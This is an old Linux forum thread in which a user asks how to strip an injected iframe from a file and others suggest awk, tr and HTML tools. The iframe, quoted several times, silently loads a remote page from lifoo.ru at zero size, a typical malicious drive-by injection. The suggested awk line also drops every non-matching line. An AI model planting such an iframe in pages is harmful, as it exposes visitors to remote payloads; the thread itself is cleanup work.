LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   Question About Replace Command With Strings (https://www.linuxquestions.org/questions/linux-newbie-8/question-about-replace-command-with-strings-763378/)

Un!x85 10-21-2009 02:54 AM

Question About Replace Command With Strings
 
hello

i have a code i want to replace with another text

the code is

Code:

<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>
i tryin to replace with the following command

Code:

root@server [~]# replace '<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>' 'newtext' -- file.txt
but can't replace it , because the code have alot of string ' and " so the replace not working with it

how can i replace the code wit all the strings and symbols included ?

thanks

zhjim 10-21-2009 03:15 AM

Seems a bit tricky. Only way I could get it to work was with awk
Code:

awk '/<iframe frameborder="0"/ { print "newtext" }'
Nother thing to try is to have all the ' substitude with \' but sed wasn't to good to me in the first shoot.
But as you want to substitute the whole line in any way you could just remove the ' from the string and then replace.
Code:

tr -d "'"
Hope that helps

lutusp 10-21-2009 03:23 AM

Quote:

Originally Posted by Un!x85 (Post 3726949)
hello

i have a code i want to replace with another text

the code is

Code:

<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>
i tryin to replace with the following command

Code:

root@server [~]# replace '<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>' 'newtext' -- file.txt
but can't replace it , because the code have alot of string ' and " so the replace not working with it

how can i replace the code wit all the strings and symbols included ?

thanks

1. You should be using something other than "replace". "replace" doesn't know about regular expressions and is pretty lame.

2. Why not post an actual example with the original text and your desired replacement, so someone can address the problem?

Un!x85 10-21-2009 03:41 AM

Quote:

Originally Posted by zhjim (Post 3726957)
Seems a bit tricky. Only way I could get it to work was with awk
Code:

awk '/<iframe frameborder="0"/ { print "newtext" }'
Nother thing to try is to have all the ' substitude with \' but sed wasn't to good to me in the first shoot.
But as you want to substitute the whole line in any way you could just remove the ' from the string and then replace.
Code:

tr -d "'"
Hope that helps

could u provide me the full example command on the code

Code:

<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>

Code:

1. You should be using something other than "replace". "replace" doesn't know about regular expressions and is pretty lame.

2. Why not post an actual example with the original text and your desired replacement, so someone can address the problem?

i have no idea about any other commands beside than "replace" , and this is the actual code i want to replace

Code:

<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>

Un!x85 10-21-2009 04:58 AM

hello

maybe if someone write a bash script about it , if this code can't replace in one command single line

thanks

catkin 10-21-2009 05:47 AM

HTML syntax is not amenable to generalised awk, bash or sed solutions because line ends are simply token separators so it is very difficult to write awk, bash or sed (line-orientated) solutions to parse HTML into its elements and modify them. For this reason, specialist HTML utilities are a better choice for automated HTML editing.


All times are GMT -5. The time now is 02:53 PM.